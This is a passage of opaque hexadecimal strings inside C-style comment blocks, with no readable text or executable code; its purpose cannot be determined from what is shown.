2cd6b64d969ae51060a1b6b9447159ab372e7bf8211a87efa6395467c5e4ef69b0d3ca308eddcae8ea1ebcc58826b1929001a6ce3017633f24648f5538859e3705ad0df56d864b57f2350230ab43502310ba700dfa1f02414e1514ffbfc4ccf3beaaf4452e0054a7ecfbfffd565155ecd90fc4fc62fd0b4bd202cbb6b4f0412c846f5fc94d6a23cf1c80f0877517fb5f5e91bda27c1b04773258e90db98577ad15e7626717420ad26a1665a11becfce456259f2f503df25b3af7070fe789a60a9c3cc0a182856de73e7b9378ad05c9ca3db1039a7cedc45d6c5d1dccda3eaaffb10347651c4901c8882252fb13753c64dde8c930d898bb66684b3bbf806ef5ed8038f9888eb71c823da2c89bc2ee497cdaf337613ddf5b911b3c98a76abfd851caa9e3a3113b0778eec1d271f55ddadfb9676c57c9a67099ce78f090a891f1a768b69dff2202036bedfca7cc6ba08ceff8938a6b51f43c4ffe4f46513070f57d46894859b2d0df34146fb1539109cd3081afb737e967a3e87b28c9f203ea202b8b6888d806d7f663ab325a9dfb1b22dbabf7e4b11f94e2014859091a36f73454c9be74d80629a4f77197df39a70faaee127da258eb8c9ff1fca174ce13693fa6684cccd03085e9489da3675710ad4a96c794c73276885b7a932de350e4729081221f3e13289ae525463a60369f2f5fac7ea1fdaf7695a53b34f17048e4ffee1e41850a45efb076a2a270*/
/*2cc434b59dbf314214178818462187a4765dba8fa46055159bf1de4af22fea9e60493df32b03d952fd93ccde7689de85b2e74316d7006492fa63f5d2292041d1621f58c0c67b32f3f74b18770ed777eac225fa06cdf7f4b4787bdcb7dd9ce74d4ce349bc7d08b73aa781b33e7df1846e4c5bc2261a617963efe438b7019c37d31a05bcfefe1ad674b82c668b33d1fb8a545ac6fdb6999388c613a8008e56c84c402979a95a764658ee90258bdbe67b831fa1925b618cebfa83795be69a012c3034d61c9af4b8c1ebfa130e9ca5dd22a136fffe8418b6ab861cc5bf39dae08a0f92864cbf062a567d2b19d5c6c347689f0aef6423e8ecebd020b76d2190dbf2baf450e62de4f8223ec8917ef83eaa63f470bcb5649e6e5e8c09b0d41f13fbdad15a4904c90dae5b713e6e3ad1a0f882faa420fd60ac0a7b9b1ed8fa8f4c5e51ce0a3d9b304c6e786797399f7254823161dcef6e51277b6e72eb51aa219e823f80b6f4a0331136df03cfdc2296aee202bef88d64e5565d100f9fc1d2df9a05f790505aca12b17d8c0da3cf574a696e223ab698dc81ebd5bfa181fef6918e4b9bf9ba68562ee605b29d90726e538839120040572766414ca66f8a211bea0a0bd4e53cbd7bc6650a6cbb722dfd751adbe62bfc4bd69b71fc7d90981ee00f6009ac8f7903d1e73f9183bc243cc73e4124b2ad16c635a57263a25d330d47fd8ffb94a8f7735defacf4155f86e600c7c351f23d4ae0f15403497d05deea0dbe1aead38be8f811cfcff1736becb4ce5a8293cbd77e86f967a78e901417a0b059a863d3f8a4400e42d2c7c3574d495db21b49da059966e076230328e29e058e1a69001878bd7b6fa464a398705204dae781aff2481070bdf27e92069b29f76178c751c2d331cba443bb2f2012726cafbd8520b74a1853d25cf1e7de8b37f7fcd1dc5f7b9dc349be3bebadd8ae68027d0d1d94345ea41d72a05c311f0ed4864467bc3a5436e66a6cd445002fe4757830616ecf64b82c09b3630e63ff17d55f6f4938a9f259e083cddcdcd202e21abdae0d4559eafd2f0757a1ad58a301eae9fefe0ecbaf0c7393fdfbab89544b2450beee31ffff0e0cdbd82c1b138de7195d54d300032743be3f7a1317b8713ed417d4ee54b9250c6dde5e7457a9e29bdf01280f63db27991ed598d8338448905a5cd7b637888330dff010e244f5db19051f1f55c97d118754add68ff305b9f7475c79076a9de382bb328b0bbf95fe63cf393cea7e916f6d842c43b51d9c73e74c8275aeef2b3cefbc7edaebc4ae1aac9c16a51a9a2cd767c02d2f3c479e64d01cecd1341ff6ea2e3895f15b0052aee400e1f7edcf6e633e82fbc998ba6a9adcb150fee43a83bdd2892ed7b2e4d5c9921e61268b5125a17b6c58bc4637a73f9e60dda9a4d64489e6d42d08897d5c93f140589ead514300f79e04890a08ea8aaf357b50cb47bc32e71309a39869a9f61bb5c1c859a7fe84fe3fd335ea8ed85e11dff63379d5f08d3774b13b33d468bf80f6950a490d0ba9cae15974f0ff39964ab249415403d87e1011ab2a6013eb3891ee89b05b6d1e40e77c373559696e9498e06dd180ab0514b6e88bab565fd8bca767c787a68559649bea3dba52d518d8b2cb9ed19b05c9ce7ca9b51a4f1f05475366dbfc282e485f3455edb9ae811890bb83e6d7b3a0ffda358a0c8f59ecdc4c00030a70de3f636931ef5ddf862ae27653321c9d28d80ee863cb3cfa2349c847c226711e30ddb8ba129c7efa2d34067a7b1530510b8bc8512f25ea4f4c31799af00acee64fa07f33e74847d7ceab78ecdf5812dfb1998a9ac04e024fd6e33674f57f2a796e89d6e4fa4909f4a1ef241aedc6ac7d55c37767ac371340a9c3dc913cb0c47bc13fabd900131098808182bc1dbc4cf3cab51e06266ac37024abcea37b7bf6504a18f4822d266ff2af88d789078647abb1d05201492b04e08773fa45d6d019f7f0fb151cc9e9125d8eadf14ceb0625b5cb0bb84d441c47358f4b1b71d0cc5294beca8f4a2749aa324b34f14b6c403fe2c3bb798aa1fafaaf8ffaeedeaedbf0659b4c5d59f9ead0a5388abb348f68bf7a6629b0c12e76119d8ed70e55c9176bc9b532d29f2449e6e437d7560753e4360a86d01d3ef2ba0cb885e03491b27a99bde6dd0687de0b8eb3db368f0c41af949d1572fadb239fc73c31199e806b8194938a1656a1be73b0409362141aa0df72070ca82ed28334f1f4fc9996a7c0926af58c8ed7daf55540c3d8f80f39522b32f6ffc3e8c052ff47672a632dbcd987c293c3f6372782393d7932a5f433012ed1c608f42bc29e0f5dadde262775b89dc8e5bd54bd460151960ef52bd1ded8c53ffd22b05ecb5f716b6f6e140267c9884989becc90298cd6f2e8f3352f2927f70a21fed5f7d7c9a9f8caf7e0f55e7f5dc05fb1aee8510e1bfb5e8e9db1efe43002e6fccd89e463ea9543220e3b98bea6e33540d72c3df8844fa78959d6b9c2bca5d2057007f883147e55010f257ef5d5ae50de7b762a071be38f81066a71d4538fe4e54ca022d0c666b07a1d1f85bda293947b97b10cb9926ec1c5fe68bbfd168f6a08b1c334853b4dfb2251335a173619ceb3c273e167ef9a8f900d3bdadf6b4c71b6fe45dcedd86f89bab6b41d23000b8a69517e1b99627f94602b0db982d8350bcddfd99e6ef8f54a238a9a700e17bd8cd481f302164e54ffb5d256bb3487f26dff10a03c80fb4201aa40fe24d45782085694fbbd015e897bbb5bc5715c893f3c30e0737ab6ca6f98231f3a480df29797e7dcb3dfd01bb4c4450d6c0724fea4f47887f0aceb*/
/*0b3f1c52672bb983e3ace528d8358a612dd0c94fb24c305ba8f75ce38a69f77958cc1c852e445b94e1fa37af1eeec85dc8870effaf3d699f0e4106c8486aac30a6ed5db6243ee396dea076b6286676572fa75ffc8f8fd7505dd7e36181ff45f454f3daba16c0dc3575abcc8d9a141a1fa9917e25148b165d3dbc5085811e68f865be6d5658dfac3a6395e2347268617993a30fe43f7cae2e675dd2e4cb5bb33703eabedb8d4a26cecada46672c10671c0060b77b95f07185050e5267a448a7137f1915db3f9b10a41ee338178d927b44a35c7a7efe6d02e5d867bd7eb7ba60d8887eddf08461494d4a792279b59723b842ff35ef829b3b26d241f38cd57f7d59bbcfdb9e1b66cfce13b9cfff1ca427092dc08fe1d54088bb9eb5f9d3d68b9a9cdc93b9ecef2ed6427aac812ef2afc0c8e495ce894683c64034b9b0127da9e6eb28990aa838c1a0f6dd9f831aa8c12325379beca9f8e1a006ea987681661a43c65132fba4d655b53de2ff9f0fd9ec13513edd13fb5d10ac1af02bc2c5c8fff02cda568bb83551bf6c8efdfafad6b3c217888dc04cbe1bc1d52bc472c12fb49072e5cccaa7624bea3a03045fe28eba51895823f589fb582150eb06217b8a016bad1ffcb15a9345526f7d460456d3f462f2a675f6ca08b11f98677a58d683201d55220600d6697dd0c9bfc3ba6ae99fad5c096231bc8f4b0cf1c2abd734b49c14b13dc724264875d61893fa62ab6d9d482e79fae66d03110228c54aedb910ff11e515a2dcfa255635bf9ebeb08e893e9074af5217d3694f552f9665dea9c5744cdeddd29e5b9fe5177f50e37def95f1efffb8a17af4f913f9d9379e4dc027133f31f115cfcb455bd45795cfe08227f79c2530956d2972ca41935cabde3f26eeb184b57b02aabe55f5004d42bf6c873a2468d7a46eb03365f64f0b227e044a212ec94db5aaf5265aed0111d911775802af89574df03f1e14a8568b9b6bf2df421e6b348c29a4afded55c1c4802d2ef45a32d6f52d752e664ec08962a35d9477307aae9973707aeac25eee92a4c394503524eb227e9bcf9779e276a4155cd6f9b53fc96451f8bc05d154233f4970b751d87268afca01cbb90d5e249f6148a63f0f23deee91adb64e2f4e6aa046a656573e81eb1d0bb771572cfbad6d469b5064a71d10697eb9b118d44d4c809c797e549de360b243e99f6a9228960ba3f867a8ffef82ed305ece79e1adb2e3d9397d8a165fb1c318e5428dcd882f9673612716092af796a7e96f6b15e82d89a346a008587a48aa1b311976e73c2d1cd8c34ba2440601f8ab24d61dc95593198bd4a8b4e42142f0c2b779c5fa4fb80f07bbc19dc83b53da4da4b9efb6929f60588f288b0538f0c8087800ac1525656c473865749c26f800e0b9945a3e8dfb1a70e43d9dc4ec3b724f3a1eb7654e0ee0be4ecb99db553f6307786e0a79b16395a8d0151a5b1dbfc2d70e1211cfb126b1007559a087a23569ad37b898d400434712ebcfd55ea7f9bd754318c93af7af77f172a89cec04011f2b7a9128ff2c7055339b5a558997e082d51b058dc4f4e8d3a1bfcb5189abee059119c279ca1e16e1feab448e2a4b67d298d49c4cd356822c207ed00b4ff524797724d49c343b97711c87bcd2205560e1735629260e4e147c7ee69407b447981b3770695b2edddae290a20223927754d72f132f244616650c355ed37c88585a4e65a071f47c1a8c947b145dc5d1effec9d3fcb85e3fd70e2a479ecfb5f9a3e337f81d305eb9ff0b364553e8bb89c6cc391ff7b20f70f8a91f5bce6bf4fbd393c823e1cfe1799925169032f74a8dd6bfbe1c65487b565996e112b8a327e4964e6f144642efb116ec16ca97dba93294fb8c1691a0b11f61d7091afae6ed0c489da28db48be2c66107aeb91a689fa66c5c5bdc84202561883810100fcadd3e062d3466e67835cfabd0318934177ccc7c627dca0c9a41f0fe61cd43aa7f6b3d562818b9e1a5bf76a66ffd18e290d986754cac84dc31bb6b94123bd4dbff45a38484ce989b38732cd7b4a33f01e95df123b0cdbeece25ecde858c51510d779ecf298a10e5b6f82a3187943eaec93178abeba52c8b5cc59f554f53ddef8a80a66047828b13dfc538268fa36722f9964cac92821296b8f23193360313bb0856fc39beaaab958f56c0649318c01e9495cb7125cf269088b6b43e37705d2ac72bf559ecbdf43d1e90c7a9d64fb68f1d2190b41bc421181736d8e8a6a4d33e81b91b437f35ce8d7f87dd5c003e7632d78b6edf9c67e988e5d5c95b436888eaf70a79dda4d27a1e0fa739d36e5183b2d3f5a333c04d8b1faf4240a267881ecd6a1d85e4b85b34ca6d81ec4397c533ce030479ed90f0604bc9246fa854adf882e505a45afe3cdb151d14c647403b4fc9b513db5d667d58c94e1a0c848fea173b47a454166ffebe819361afdd9d0c5eb38a3de168d40a7d7dd6bfa54f52ac6656de8afc11da5b89a991aec9693af6d7fe32301636677701f2f319e742eddfab75b05ca9caf1e6dcb3d7e65f6b2885f31123eb73f73eeea58c399b38fa9ca5320a38bd315a284ca0d6e2c0bdca5b699c1d1eed29954ef6faab9c9dea9dccffececb97d89f719b63200c99d9d00e9f250e53a377b5b87c2ee82afc3f77ab5acaf26060ea1a7fd701cc9888541e51c0548fc8e5bf9b9f6c89162c8cc4e55e6c507d3cb394343a35ff1ba4818a921c944603415630bfa7ac6952ad3af583fab822b66ece2c39b4b231283c23bcd15e805fd84d4768d4159581a783fc5c77a2fda45efa976154c15cf328be782e250f533b4368fcb1f937e*/
/*d52d6514503a25733833f938127167b993af77566b429d959c0ddea5080c291e0ced730e92a92a7d69618866825ae7b1ad5d52e101c7524ce6a12b5ed0b30a293a50ffa1439dfb59a338a1993985efa723e7823fa6e11221110be6f0bbbc68114c9e1babbb19bfec403b232fc4017d68d1ecba1f962a01ff507283674cbd16be451c2da61007084b0fd4a72533d01d709184f52020044f07e635e9b3e68c6d5f32afbd09a28725c025562d94211c623aeefe68d79fe4aee40a821103063a0ba38646d1d2dcce9be9f066356b7159ffe14464a82cfee84d9ab0ec1d03ebd4a069c0f1d73457cb18e2deb0474b3720a104a980af55463726d3943dd3de1ff4deeb34eb7422dbc6f313950d0e3c59f6e1d2f800dd8eae1d54191a5f0f9e2e77ccd1ad53ff4b6aff586a3b111e744e0744480665241ca4ddda858085a9ae59d3524689d41f26e928182f68d03e5beaa3a5a64390d10523fdbf1899a1b755f6f94607c449372f98e594ef39d54beaa1bd12d514909d1a5e6cc0005ae18bfac329c2b2a06e1cbaf65c958fd97c18df52989b36a54d20c0d7422fab2a80d31b28343e451f6a60a75a2a367e29ffc0ce304b9fb2d4471dfb51a07652afe8d4a6e50246949cdea9e75a307d36a0cb46d5003e7af1104b54fff7cbee6743313760313329df73b6fe1b1b1682ea9dd72514165ec70df77f9b7e74a7e404620e03c3659a373f5ccd6936af311cc0dda30134f40e8e4fe069a8e1cf356b972bc98e74e19f47e9fec7bfe9dadbf1407e7c9e9761670bed44cedbaaa965226371232dfa7bdf1639c6e537a224d6cf738fabe09276554228f2da5ceb0e4312f56d2ba24230fcc2c4c73a74461f6173f474bcbf6e8e5bb4f64cf018b948106abb3b3035377bd29c3f1a0ae9f0551533e7013e69c90561b80190ff8990fbd7e43972642826e4e26073b1b4bc01c8e383f411bb6c3b043be936506155d3c1256f0ae12a8ee66beedc5ecd720c9ec806fedf3a404e94839b66483fa08dc4f180de92212a2102846326d06f916e17e45c5af690f663c0be04f2ac602a52493a50aa97042ddd31593cfdf0cf263088b87c98e771b8c8720d01c2f7048514cbef82c079f760bcb5ed112d39e5fe32c1f46dd1187c6a9673632dd2a720e4eb50ab8be0216cb47a6f2f5b9431dd2050e730b96170cb5bc793765adef4ec5d4044a53ba517254004a15bbebe145f5b9998e7a4e1900880a711a23006b4c5a779a2e7702eeb38158226dbd8f00484cbcb9cf8e32c9589aeaa5568da0048a64f7f629961e5e4c6bf05890523cec0b99a8799b3d2ed6233598cda4909c850ef76616296b0fb0edf23fed5a1fc8126d30ae4e92c44258f2e737c7e466a50dd8910c9e0a410c84f185e693bc75167d9bdd5492c035669abff5b45af8cf8db04654c1880f88c4bf4c0ecf4eb8e185dce8ea2f4a72a65efbb16f6f93ad472beda8baba28b3aae2457886619cc8593e95411c327323b46a1f7a287ef7cb6091bb96805d18bf4bfa9e2854b2c2ef31ebd59563c48f5c3d125f01ff4f6abc7a33d8b19c698776f069501bc4e8e12bdf74494aaaca04d81d8062527391cd67af1abbfb5feb9eb624ed31a50829fb705f8c28729fc2307d8407ef4ee4321d9100347b0327e61b738922dfbe9a7257bd80407de045809bcd9eef0cb8cf76c831e35ecc69c5584c1c17930e5c9d809b3d52e00684f79f9faf570e3126b1875193dd6a1d499d68e2cf59dc68443677d5c37dbf1caf3946d7cb542fbd882a7cec9bff936fd2753d433df87cdc0f39e1955c78d9af79fffb68969f0774d13b81c37c8a959d1d4d4c63137ea613f5c414689deeb23f3b48553a9affaebe94c8e88a7c4ce891c1b6c7167a79594e36545a1d94448e820b6af64b1fa3b8a6dfe0754cfe300eefe094afcc48ac8548fbf6623a1717f4938403e05b07c44c750d1ce501f4cbd50ca0391ee9c1f7ba14b9c1dfd2333e5301b70ee52c7ddf20d0a2061731e525e519d5c258a192f1bacf6ee7028aa39ee0b7b7761628fdb78914fb36e42defa99215593e431b80ad62c4f8958af7f3e876d233493c9c157e9d8098e77d84fb3025432885aedcf4a1c1d60e187642ffa9379669a11bde3ec5f50291f95f6b7152e8f13b15270f8eb9faa4a9e5ee115a1033d20ee5fdacfde5a03f16151aa2615fd05de9ff533f06b59fe972dec88b4f619522b43cbb6577fc9dce610c0bcce58880506d89f6f7177b9ff4f84f9c7bee5a3a2a5bc2f79e792c0c27bf8846f1b16acd05a315f06f8bb1d6ddafd0d772ce30a11c558b22dd83da41482a6c21ce10141df1e553a6e85ad8158696661f1842deca1c89aed8759faa0b8ee57da34d2634d5729d40928d30b5657cf2004d223682f1c61c5b1aae620bfad1cab453a3d62568d0e7eb5c28ff141b39a66006ce52138b92fec2debc3b305cf0b0cc2e18e0c81c2ee5613aa78f8b3df9cfa9ba062aa246f860c9eae95aee41e8be20c3008f02b47ca4e54613286890ba99dc6b4fe07da3413a8cb1dd816c38bce410e4f8e8bbd430176cf5fb6ea2f8b4c6a6bf5a43e9764335a12613a6cf742bf3673688e413fc692990eaaa019702e9b9cde834b3a08e0417894acdcc5562d5d24f5b272cf3a60e55137a965257ec9b6b5674f844492d288f3b96f037894999a77035e70769765e94f588093628a1f925c3a8454b4e908f89c33d4065304699d505c2f869921d3813ba5fdc5a8769d6b8ac60d82aac11af126b5eaaa803dd6a397a6571ef7589ae69ffb7323f03fee2a3c53180e6fe5b1be18ae6ab60dc37c5f1c33892e0481290e*/
/*f0a521b0cf5b3467f91bb3469c9121cbbd8dbe92f6689ba5d42c080928c033fa8d17999a166d44187cff456c33018047e04d12c212eac925e0a744713f5e80cccaba1e5269542573c93195adcd867878b91ed387743c9d9c28f07539289ce8640e880c59f516209799cae0152833c3233fed0d3e7a6f16258d162df43f55897622139c40acd398f00e3741f88deea9c243b03a798a68cfc091f3195d5921c1dd031906bf6b3235b287c4d5c0c0bc11bc481589657e75f4c459b3460b3876b9311d2be9820366de4e31e4110e5bf61093a7ca6f11e64161a2ba058aaac1ffe307e0041133c2affbb9f750d6237f2d958a95733f2bea671c0b1bece36359db363a7caa31dd57b0653222493a7b42d437acbcf07676bd25d82ae1ac4dfa9ff6ba3c4891dc5352f9c9fd1dd96fd7114d5d01609362e67403cebdea12cb94fbb1724b278e7f14d782b2a22fc27d3467a5c83111d85b392b5d1322dccf0197b779efa0bc55ea8351e653a06b1f6af5936c7e53fa964924b8a3d1434dedea83f5f604a9ad1a41156b919c00a7cda030079505c3e1c7d9d3defb0b856bbdccbcb54ce50b38bab6c54d47756945e488c58bdabfca18a189f4cca755e2c483448a8ad8c27aa485bf8d5ab8604b8ed1099178735e15d88e6d3153015e8023f6016c2571d840b0db7ec66596c412a232857b099665ee5a6e0a2183d45d652accae6d57594f58f2d91290bb04d994589073d4fcee48b8d45ebba0f1bfdf1d803f66ec4cebe1c83cd058fd25eb5fe9aeda6b79d62f20656e6834df6f255a43b947e6861586c1548f8ff68236a12bfa1ce0d84b21bd10684c879a4b113dfa62b4bc998a88bf6cecb937762b2a80e7d64eb5f3e1c11c5cb4ec1950a20f05890804b21fd671fa4cc4f350d3dbb3fbf95c5ef40d0c1e49e6b7bfb00e0aa290fc5a327843bbc19993133c30a3718d91df1322ecf73301097a4842c4910c789d37b49ffcb2d5f2dd64a918f202a7fab29cff7739db04786716688d3a924885f2b603436130d1be19ab080b07be5440f78e3a4f3ecd1d3d679102deb897bcfda2426097fbb57d2ce9ee49bd093c8b2c818257b658cc38194ace5225197e24aee53d77376b1e4e18b42e0ae2e6bf767acaef7b8e596bf906ee7460b2b35e2ba628577da31652b0921051e0e6b98e452818f264b0e967bac9c8c1001a0a15b60b6fd5672bea917acd1739209ae3ed0bdc5d57b35fbb2c80b3332008537891752d4ce3c8005c7cb33b0e943cba2174060696e70ec931a53152e2765ce3e2424fa81d3d932b2e2080dc04308d2c17346405b4c42f1961b35f01844601c36fbb0e75e1f402598734624ef3e15d01570145dd383d16efa075e27bf50d21c6a9ba22434591c36558abd83386df6ed0da7d19d0b37b77570ee5e6ec897975296664f5f42a19f4f0fd2a2d1460022a7a895ed63bd6bb09432aa53fed37c6da614002ffc42e5fd6db17b96170c9761c4738970fe641e5f54897152df94c006248ad1ea2ab5a8abd663cb68249aa655a91101a1c9a2ae0a7f67990426e280b5726114bf6ea662c7cb5fcc7b21990df7dc6a613df0f59b938d7fbc2d2079ecd21c6f5e126ed7eac41926c0a8595d304181433007afff34da615f5eee771fa66050c9e696bb0c5b5b06ae7b597b09b6b4515c60d244a972a69a3e3286af8988a8255d1b81d8663d642776476f41214d7a3f7ed0bebc88bd948ed8b191e49b1ea5ad003aed7210000dbe2320b0c81a2ed01bad34d534854f6cea1777b6ec1b8327b22e1b49d6a2db38ea41939ec7aafd243cb88fe485711b16defcac36e2c83aa601ae49aa3c922a4dd404ae325bed88d9c2d2d27620330205a12cc24d42c1fd0c20f8bed6151dd29834e1747378bb706d4a7cef41dbcccd60a328df6be98eb2133aa2778eaf7fb0ea0c7411781beaf6759bcb550cad577b0573601406c692f55ea16ff9f093b38a9433490dc6632cc36c77d78e6c0ae56bab19e2b47fc1743d23263e8327c663121c20a1139f88e4ae9d3c9b32572051d42249394006ae9abce3d3ca4f0dd76ab14ff641120985f82673a4b8ae2cf4c4e2d5efa8d4cdf05b2d7b2624790a8757dfb6c307b9da3d2bd0490c13a0b63a74ef3b3c39428bb9682e7ad4cec6a16d40c9262a6261d98483ab8dcd5232c672b2f90dfd84edecb2c4d0713e8546112d5cde1e1991e1f01b57b69bfc8d62be3038049603aa08ec5d10734844c37e672a15e7cd177771becc34b080d3b3677bdfb33e22537f09a7c54bd1c9c643378fdd4687d2f1023208ef7168b4ee57e854fa7259ff0ef598ab56746c2a7c7458aae85402e0ce0ecb9598ed42d16c2b3c920f0d54fc77768911c24a5f5433c1bedbc163f025dc8a163bd4f106d834de4e73940192b3385983f99e4fbe46c385582fda129a9a9e796adcbc30881333b0b568ce80308f9c419d3c0034d9fe6c90787cc58fa5ac7a401047b22d9a166c5311ba79f90010f1819c8027cb0feb661ecf08f80db059174a7016764824527a38297c639d8f2233a67d978b12573e2b8966e0a8dee9510af7c0c09dbdf5f39145fd4f5ed342e29f87e22ee217f40807e08a9463a7fcd33aa28b655b93789873afcedc7594668ec79b014c1a026f49504901a2738011fcf58174250bf07ec90fb68051bcd3e2162234b460f29934311b0353b8651f33d9ae8ed50dfbd2bf8681bac0abe7a305ac4fb2c607a5b8cf25237173bef74ee624c5456427e40b5ddc2d0061e5e8cfe145f70ccf9535baf2b6f3bf7259b8863f72783acd73866556ea91c03a8a6f2e3502c1229f625d22de550*/
/*72d8694ab5af3e9169bd6bf6011318dda8506d2c826ae12bf65118111f5b8693e0a821dc253cffb78f56965245008d0f0ee149c721575e1c7d66f687b42b8b960eeb9dec5d4440278c02d79de6ef7cb294c56d7e42a5bd56f08f8564a2864dec6d71c647f8fea6b2844b394620f3acaf6668acf03e3fbbb727e1927780faeb9fa27419a4b7e4a976da192adb5bea5069ba9708b5f382b8a70c41e90cef94931589b5dabce74a4f427475fdef787a3b8468127813420f3900d3098643ae33ec871beb385e20cb6d3212eb961bc7454e0533cd092c60aa01942c8bb9633057903e15db8843a683dacda104a68f0877e31143293644cbc40a10b969d92b1d69a4e1274d950a2a74229c9bd72eaf36b84411e64a92a9e27bdde1bbfa3c55ea0a3d8d6222758627c19e1f3da24d4c50d634dec4e8553ac57495193efeed40cf776b142f862adbe505aa053eaedf5824abfdabe1f3cf6be32e01646f232345f95654a565adcf58cceb0c53a8883ae3173802bf00a67a5530cef0fe213b075eb215ae1f98af1ad3dd1a796f0c041b6a808925424bf767945e1e786614ce6364c767df942bacfa72a7a0bd0128ae51342a19491880f0e28b73bac5d7778ab0e9994ff2392ce8a2d15c3373c1cb7c35aa9de3174a2cfaebb8d4df37e23d451a61d95d25a4c95462457fe2124a81e930e69ebd1d70f16b218712a8c6576f26f25224d1671fab1ca72dd065e27b10eb94309c53b4c2c0385e1f7cc9a898d331fe601db65818daf927f20bc9de29eeab7d2a59b766dbf11e867b644f7e5aa2fbbcb40ed78f4a4bde77c948467965e1354dc3306eb6c9f2658013698ea0ea38ed4b1463073851e86ba9d27befa783c66fc497f1d3d5368b09f1269f9d62fe16981662020e40d9b6133c8ecd2ebe1f9a5f89e4af1484c3639e16f7b81090d12f233821afb3bd41d932c203eac9717830d94324b9830fcba10b187fc83134f5637c46c90f9ed30cf5ae88b297462263150663babb43c997b24c561b2e4277ca70ebbecd49161211c1e24cfe0a43f53c913c5ca1a25d3578f6ffef850ac8880da5fe8b4396ce4c07318b4288cb8b855653c818699dc33a504d579a87c0e853249eaf4add904e2e9190495a4b673590abe74ddd2853ec50558fef96f086902f009278602564c9d7f860b7ba6d178121ddb5ad6e19c454c4a647f93d570d60fdbb321059c23f1a0b3a5091102665ceba4a5a6fd37495c95729e41cdd8e84f9cd0417579e8508ea580a98c9c44082d9abe9c9e799e49ca673fa208d6ffc881b76d7c0346c2dcb01a9ca0ee4ee620634b77238e0882ff58e34deccbcad1ecde8dafd047616baafb07ceff375b0877876e7e8b7457df7337cf48282eccda8bbf7889c268a49c8298414b3861d670f8e41ac2c0c5323e2e68188c96dad8faf5e9d3193193d754dd964c67ccefe6835bd5150d24cafff6e51ec21a9ede2f4d95dcd3f22f496e49987f22fbde66644fa17d54a3e65533708aa7fc9fce1222b5440a316206ead491ca902d1986300be7c70721e94b16f566fec5cc3b85a4c288cbcae9d082f2fb8c522f844d9a505b58401ebe1bfc739541a063377dbe8e9b938760bcc4dd3cda7cc2d61d79a4dbd64c5877bb398f9d4ea5c7a4678b0274f4fe0ec379250daa7f4fe0d0a93e10692e53a1c0c79eb4a6c990bcdecbc7cc190c714e7985c4e80c6b05c8e006bf6ea400a83fa5dd6f6cd498dffead6c1385244570b4c31c7eaf96ec3b7511c2782529b65b0288199fc779b640f32dea6db458ba3db72d874515aa1b531d35b723af27b520bf927aff0425bcd70b4906880e89fe899549c0642037d1a581921c87145fb413943547e16122cfe8b8506abe263707162a172bc074af28ec0861d35e5a49ce0246bbfdbecc1eafdf1fce3112f7716076babb8973aec67437a5af503ff61650cde076190b4466d7a9840a5df6bac109b927ecd230dc6ab9e9b37097e5868244877a19b2f79325f83a97dd514c2366a34c0111201dfd75145048407ca9711d2f999321b4defc1fbf77751cd27c4c0044c17220ceca6ee231555251fc75ff3984261710e1d2a4f7e34e2d7ae06f0b8f52fe9c82b6f0324b3a24fdba664502390e5b84f79dc41855d48e45e4780f831483b6338b665c3e7f54fd7ed46c44e52517746213f0bb67c985e4b39e5ae187c1ffeee52c0d0c29c352d77ef82172994a8e04f17821a27f0870ceed7cf8dfcead583b6c47c342f065d30f966d1c8edf1a07aa86a4156ddc017b089b0360b169f1901314eaf3d3fe7ef28d0c794ae5149ef57dbf1dd2ef9cd577081a790e9a3b0dc56a8faf3ff983a42509138d39161e5a14cc919e7d6f8105d00c8696f40a536bdd9aab2f9ee9e724f9ceff1ee7309edbf4fcb8db4adf7068a2676a4fddbe716fe44b6d1aa00528182308524a070ce9a00976af60a5a1ce63794b12f6f25f5b883905fde61e2135b77eb4620ac90014b3eee6e8d13d285655c7067b71d6c64371f80b937007cc73e11b5aa95c9c29692ffb064b164c913409e284c31216f431da9af43873ee11ab7d93d38242d04beb1f4c02e19057f2026e11169893b6017007b95616d341b25a80d6281c3e60ec754915969cb627899db424524250ee2889a4f59cc192519cb4cebc2e2654c3fc53d2faa3b8f4a59e26ecddb76a2951f787c5f344e0eee1cc345709227e0f31bcba61fab21c9ec0d1172e78892c96f351b73e36ae414c994c92d28b5ea5d8765a738b2d968a9594b41e15d66a5b4d0d5c22797a8bd76e84e93077667f273904bf71b7fcea563575580818372aed52bc72c*/
/*67d7f8719ac7a9f397950417c826cb74f1973639e3275147bc2afb1614583887705208cf4687741fa347d249af27a01296ff1a0ccb803db4b3537fd7a8f715da0e2c4d90af615a2697ea75b7c738ad70ba1bcffb47e0f508e1ecfabe3f18b6bb265c405fb5ae2d74bf532332c5dcd0c5a0e4cc6780cfbe09e609390bb13d26a6c681f2b26a8412c54932a21e2f2d88e5da6612eee12b545812a15f3ad371eb26b2f37a0a969817dbf464f1a73304978e5a3c84ecc18caae9e93339c881b8573292540ff0c2ce0384e015e71ba4fdad87b6879ecb2824d64a0f1ae18b03f30fd1f0ff8585fc41ba7af59b05ece5e9b2fce33cde7a7130d8f6a83a54d74b93867b8f42fc4d0d98637a0714e0844158ee60012f4ae362d06ccd257db46a7aad1a1dbf4608c5f69309676a6b7a7714820a4d9874eeef556e3e84f54d4a7c419b48b7195cef3e55c321350f5b1df20a968a064d842a52f893a12c424fda81ab43edb34fdb5f6a62a8964ef40ed25fc8e7b8e27029463bbbe1e57e637418a5420709cc1d6bffce1e76f2da2c21ad47558ffab465443a461c98c42c210ead0e22e82c617e498224a1dd0591f6d1ecf0f926973c8c4849e93c37067d80ad6c0089e50f39486f786adce733a8be5da7a99f487142aed70b5baace81b165c99b386d69af95f6f5b57c1d790797ebee5bc908efc454af963e9b749a4f348ccd6a0e506d3de64731378c0e1af91827e14f92976a0f36efc667a7ca1d8c3f4001119324416e89c8810d8d763c6df0bc9d4edf8240f17af78244489aae3ce4f7f11f0adea773e834065ebe64b532abb96679f14ee87b06204ef0977ddfbd29d895a256d3ae7ab619b7b8d0a58ff7c88ed558aa7d5f3b2e571b3526a723133e7c0134936c536f364c51f9551f3044ec930cd1861ae7b7d69da0f84af172ae20642a153b73b2dc1177b11866e2fc61ce9ecf2078fe1993790712babdcbcd90c74ca30d82aaadcf25365b6e93f0981df33d214247f8b84c052a9e180d685451d3e61deb498edeac6b8788a407158d4851f7e9f27cf916112ddcef3df0b8211697f87f13330b533e59197005a34aced2c3d58fa6c5d23c4150f8e9ef2e422ec567350eefa529fdf762bfa7e4eff82bb7982a0b8147eaff0e8d3c829a93a6f880b10a4b69077e502a5f8c5bfd47686fef579ee39255ccc0be42c6ad01ae3f1742750ce9b63af066c97748b835bfb89a453a5a5bf84ebe4903dec9ea350339b4bb569bfadd3c6b35afd77571af9e82f5910769535ccc221bdb9d5deeecf2874d10df8aed38731d4151f77807a0f39ff3cd6223700fa5c2b605c76e11d8af01523937bfacd